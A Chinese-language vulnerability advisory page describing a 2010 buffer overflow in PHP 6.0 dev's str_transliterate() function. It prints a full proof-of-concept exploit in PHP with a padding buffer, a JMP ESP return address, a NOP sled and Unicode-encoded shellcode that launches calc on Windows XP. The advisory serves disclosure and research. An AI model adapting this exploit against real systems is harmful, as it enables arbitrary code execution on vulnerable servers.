Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / PHP str_transliterate()函数Unicode字符远程溢出漏洞

发布日期:2010-04-04
更新日期:2010-04-07受影响系统:
PHP PHP 6.0 dev
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 39185PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。远程攻击者可以通过向PHP的str_transliterate()函数提交超长的Unicode字符串请求触发缓冲区溢出,导致执行任意代码。成功利用这个漏洞要求配置中打开了unicode.semantics。<*来源:Pr0T3cT10n (pr0t3ct10n@gmail.com)
 
  链接:http://lilxam.tuxfamily.org/blog/?p=302&lang=en
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!view sourceprint?<?php  error_reporting(0);  #####################################################################  ## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit  ## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev  ## Buffer Overflow  ## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>  ## Exploited by TheLeader, Debug  ## SP. Thanks: HDM  ## http://www.nullbyte.org.il  #####################################################################  ## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC  ## Take a look, "unicode.semantics" has to be on!  ## php.ini > unicode.semantics = on  #####################################################################  if(ini_get_bool("unicode.semantics")) {  $buff = str_repeat("u4141", 256);  $eip = "u1445u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll  $nops = str_repeat("u9090", 20);     # WinExec Calc XP SP3 HEB Unicode-encoded shellcode  $shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u250Du7C86uD3FFu6163u636Cu414E";      # WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts)  # $shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u23ADu7C86uD3FFu6163u636Cu414E";      $exploit = $buff.$eip.$nops.$shellcode;  str_transliterate(0, $exploit, 0);  } else {  exit("Error! "unicode.semantics" has be on! ");  }     function ini_get_bool($a) {  $b = ini_get($a);  switch (strtolower($b)) {    case "on":    case "yes":    case "true":     return "assert.active" !== $a;    case "stdout":    case "stderr":     return "display_errors" === $a;    default:     return (bool) (int) $b;  }  }  ?>建议:
--------------------------------------------------------------------------------
厂商补丁:PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.php.netFirefox nsTreeContentView悬停指针漏洞Firefox浏览器引擎多个内存破坏漏洞相关资讯      PHP 
  • PHP代码规范的10个好习惯  (12/05/2015 08:20:04)
  • PHP 性能分析与实验:性能的宏观分  (08/19/2015 19:48:24)
  • 在 Linux 命令行中使用和执行 PHP   (07/30/2015 10:07:32)
  • PHP 性能分析与实验:性能的微观分  (09/13/2015 20:49:27)
  • PHP 和 Node.js 的对决  (08/06/2015 08:51:28)
  • 在 Linux 命令行中使用和执行 PHP   (07/29/2015 13:15:46)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论